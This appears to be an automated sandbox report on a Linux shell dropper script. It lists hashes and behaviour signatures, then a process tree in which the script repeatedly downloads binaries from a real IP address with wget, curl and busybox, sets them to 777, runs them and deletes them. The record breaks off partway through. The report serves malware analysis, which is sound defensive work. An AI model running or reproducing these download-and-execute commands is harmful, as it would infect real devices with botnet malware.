879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb

Analysis

max time kernel
60s
max time network
61s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
06/11/2024, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
Size 10KB
Sample241106-dkn3zathpm
SHA256 879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb
MD5 6157370cfcc56e686c422eacf0ebb7e4
SHA1 60f73612d4b0c2cabd6abf06e7e612ac96edd348
SHA512 7d3214dfaefe3e925e1baa086f4408588c0683b971a0e6f2056d2e987865fe322f73640e07dec126892e2d102cdf1a9f5255346856783224b38012c7e023e9e8
SSDEEP 192:GwcOVcfaKa6avasaYavR+wnwchaKa6avasaYaKf:FVcXR+wqf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
841	chmod
970	chmod
976	chmod
994	chmod
772	chmod
865	chmod
946	chmod
778	chmod
916	chmod
1000	chmod
1006	chmod
795	chmod
821	chmod
847	chmod
895	chmod
910	chmod
934	chmod
964	chmod
1012	chmod
889	chmod
901	chmod
922	chmod
928	chmod
940	chmod
982	chmod
952	chmod
958	chmod
988	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	curl
File opened for modification	/tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg	curl
File opened for modification	/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	curl
File opened for modification	/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	curl
File opened for modification	/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	curl
File opened for modification	/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	curl
File opened for modification	/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	curl
File opened for modification	/tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7	curl
File opened for modification	/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	curl
File opened for modification	/tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z	curl
File opened for modification	/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	curl
File opened for modification	/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	curl
File opened for modification	/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	curl
File opened for modification	/tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7	curl
File opened for modification	/tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j	curl
File opened for modification	/tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg	curl
File opened for modification	/tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z	curl
File opened for modification	/tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5	curl
File opened for modification	/tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx	curl
File opened for modification	/tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5	curl
File opened for modification	/tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx	curl
File opened for modification	/tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j	curl
File opened for modification	/tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg	curl
File opened for modification	/tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg	curl
File opened for modification	/tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU	curl
File opened for modification	/tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU	curl
File opened for modification	/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	curl
File opened for modification	/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	curl

/tmp/879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
/tmp/879ead5375bb5d23735d779c995d1e47ab6a0699aca2b5c44dc75508b21fd7eb.sh
1⤵
PID:742
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:770
- /bin/chmod
  chmod 777 vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  ./vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:777
- /bin/chmod
  chmod 777 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  ./7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:780
- /usr/bin/wget
  wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:790
- /bin/chmod
  chmod 777 Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  ./Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:816
- /bin/chmod
  chmod 777 TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  ./TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:840
- /bin/chmod
  chmod 777 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  ./1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:843
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:846
- /bin/chmod
  chmod 777 UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  ./UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:849
- /usr/bin/wget
  wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:860
- /bin/chmod
  chmod 777 mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  ./mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:888
- /bin/chmod
  chmod 777 mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  ./mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:894
- /bin/chmod
  chmod 777 R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  ./R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:900
- /bin/chmod
  chmod 777 LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  ./LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:909
- /bin/chmod
  chmod 777 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  ./7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:915
- /bin/chmod
  chmod 777 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  ./5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:921
- /bin/chmod
  chmod 777 SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  ./SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:927
- /bin/chmod
  chmod 777 uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  ./uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:933
- /bin/chmod
  chmod 777 vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  ./vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:939
- /bin/chmod
  chmod 777 TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  ./TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:945
- /bin/chmod
  chmod 777 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  ./1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm 1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:951
- /bin/chmod
  chmod 777 UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  ./UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:957
- /bin/chmod
  chmod 777 mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  ./mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:963
- /bin/chmod
  chmod 777 mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  ./mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:969
- /bin/chmod
  chmod 777 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  ./7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:975
- /bin/chmod
  chmod 777 Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  ./Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:981
- /bin/chmod
  chmod 777 R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  ./R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
  2⤵
  PID:984
- /usr/bin/wget
  wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:987
- /bin/chmod
  chmod 777 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  ./7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm 7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
  2⤵
  PID:990
- /usr/bin/wget
  wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:991
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
